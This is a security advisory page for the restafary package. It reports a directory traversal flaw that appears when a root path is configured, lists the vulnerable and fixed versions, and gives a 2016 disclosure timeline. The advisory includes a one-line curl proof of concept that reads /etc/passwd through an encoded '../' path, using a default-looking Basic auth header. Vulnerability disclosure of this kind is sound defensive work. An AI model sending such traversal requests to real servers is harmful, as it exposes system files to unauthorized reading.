Noctiflorous Pansy Mulch
restafary

Directory Traversal

Severity: moderate

Overview

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Remediation

Update to version 1.6.1 or later.

Vulnerable versions

1.0.0
4 years ago
1.0.1
4 years ago
1.0.2
4 years ago
1.0.3
4 years ago
1.0.4
4 years ago
1.0.5
4 years ago
1.0.6
4 years ago
1.0.7
4 years ago
1.0.8
4 years ago
1.0.9
4 years ago
1.0.10
4 years ago
1.0.11
4 years ago
1.0.12
4 years ago
1.0.13
4 years ago
1.0.14
4 years ago
1.0.15
4 years ago
1.1.0
4 years ago
1.1.1
4 years ago
1.1.2
4 years ago
1.1.3
3 years ago
1.1.4
3 years ago
1.2.0
3 years ago
1.2.1
3 years ago
1.2.2
3 years ago
1.2.3
3 years ago
1.2.4
3 years ago
1.2.5
3 years ago
1.2.6
3 years ago
1.2.7
3 years ago
1.2.8
3 years ago
1.2.9
3 years ago
1.3.0
3 years ago
1.3.1
3 years ago
1.3.2
3 years ago
1.3.3
3 years ago
1.3.4
3 years ago
1.3.5
3 years ago
1.3.6
3 years ago
1.3.7
3 years ago
1.3.8
3 years ago
1.3.9
3 years ago
1.3.10
3 years ago
1.3.11
3 years ago
1.3.12
3 years ago
1.3.13
3 years ago
1.3.14
3 years ago
1.4.0
3 years ago
1.4.1
3 years ago
1.4.2
3 years ago
1.5.0
3 years ago
1.5.1
3 years ago
1.5.2
3 years ago
1.5.3
3 years ago
1.6.0
2 years ago

Unaffected versions

1.6.1
2 years ago
1.6.2
2 years ago
1.6.3
2 years ago
1.6.4
2 years ago
1.6.5
2 years ago
1.6.6
2 years ago
1.6.7
2 years ago
1.6.8
2 years ago
1.6.9
2 years ago
1.7.0
2 years ago
2.0.0
2 years ago
2.0.1
2 years ago
2.1.0
2 years ago
2.1.1
2 years ago
2.1.2
2 years ago
2.1.3
2 years ago
2.1.4
2 years ago
3.0.0
a year ago
3.0.1
10 months ago
3.0.2
9 months ago
3.0.3
6 months ago
3.0.4
6 months ago
3.0.5
6 months ago
3.0.6
6 months ago
3.1.0
5 months ago
3.1.1
3 months ago
3.1.2
2 months ago
3.1.3
2 months ago
3.2.0
a month ago

Advisory timeline

  1. Published

    Advisory published
    Mar 28th, 2016
  2. Reported

    Initial report by Craig Arendt
    Mar 25th, 2016